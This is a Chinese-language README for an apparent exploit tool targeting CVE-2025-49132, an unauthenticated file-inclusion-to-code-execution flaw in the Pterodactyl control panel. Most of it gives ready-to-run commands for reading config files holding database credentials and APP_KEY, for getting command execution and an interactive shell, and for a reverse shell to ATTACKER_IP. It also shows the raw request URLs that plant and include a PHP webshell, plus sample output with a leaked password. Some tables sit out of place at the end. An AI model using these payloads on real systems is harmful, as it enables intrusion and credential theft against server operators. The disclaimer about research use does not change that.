⚠️ 免责声明: 本仓库仅用于教育和研究目的,是我安全研究的一部分,旨在理解和记录 CVE-2025-49132。漏洞发现的所有功劳归原作者。
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl控制面板 - 未经认证的LFI到RCE漏洞利用
CVE-2025-49132 是 Pterodactyl控制面板中的一个未经认证的本地文件包含(LFI)漏洞,可通过 PHP 的 pearcmd.php 升级为远程代码执行(RCE)。
该漏洞存在于 /locales/locale.json 端点,该端点未能正确清理 locale 和 namespace 参数,允许攻击者读取任意 PHP 配置文件并实现代码执行。
| 状态 | 版本 |
|---|---|
| ❌ 受影响 | <= 1.11.10 |
| ✅ 已修复 | >= 1.11.11 |
pearcmd.php 的 LFI2RCE 技术实现远程代码执行# 克隆仓库
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# 安装依赖
pip install requests
requests 库curl(用于 RCE 模式)# 读取数据库配置
python exploit.py -u http://target.com --read -p ../../config -f database
# 读取应用程序配置(包含 APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# 读取其他配置
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# 单条命令执行
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# 交互式 Shell 模式
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# 反向 Shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| 发行版 | 路径 |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
受攻击的端点 /locales/locale.json 接受 locale 和 namespace 参数:
GET /locales/locale.json?locale=../../config&namespace=database
这允许读取任何返回数组的 PHP 文件,包括 Laravel 配置文件。
该漏洞利用将 LFI 与 pearcmd.php 相结合以实现 RCE:
阶段 1:使用 pearcmd.php 的 config-create 命令写入一个 PHP webshell
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
阶段 2:通过 LFI 包含已写入的 Shell
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale 和 namespace 参数实施适当的输入验证register_argc_argv 指令本工具仅用于教育和授权的安全测试目的。
请负责任且合乎道德地使用。
⭐ 如果你觉得有用,请为本仓库点星!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| 参数 | 描述 |
|---|
-u, --url | 目标 URL(必填) |
-p, --path | LFI 的路径遍历或 RCE 的 PEAR 路径 |
-f, --file | 要读取的 PHP 文件(不含 .php 扩展名) |
--read | 启用 LFI 读取模式 |
--rce | 启用 RCE 模式 |
--cmd | 要执行的命令(单次执行模式) |
--sdir | 写入 Shell 的目录(默认:/tmp) |
--sname | Shell 的文件名(默认:shell) |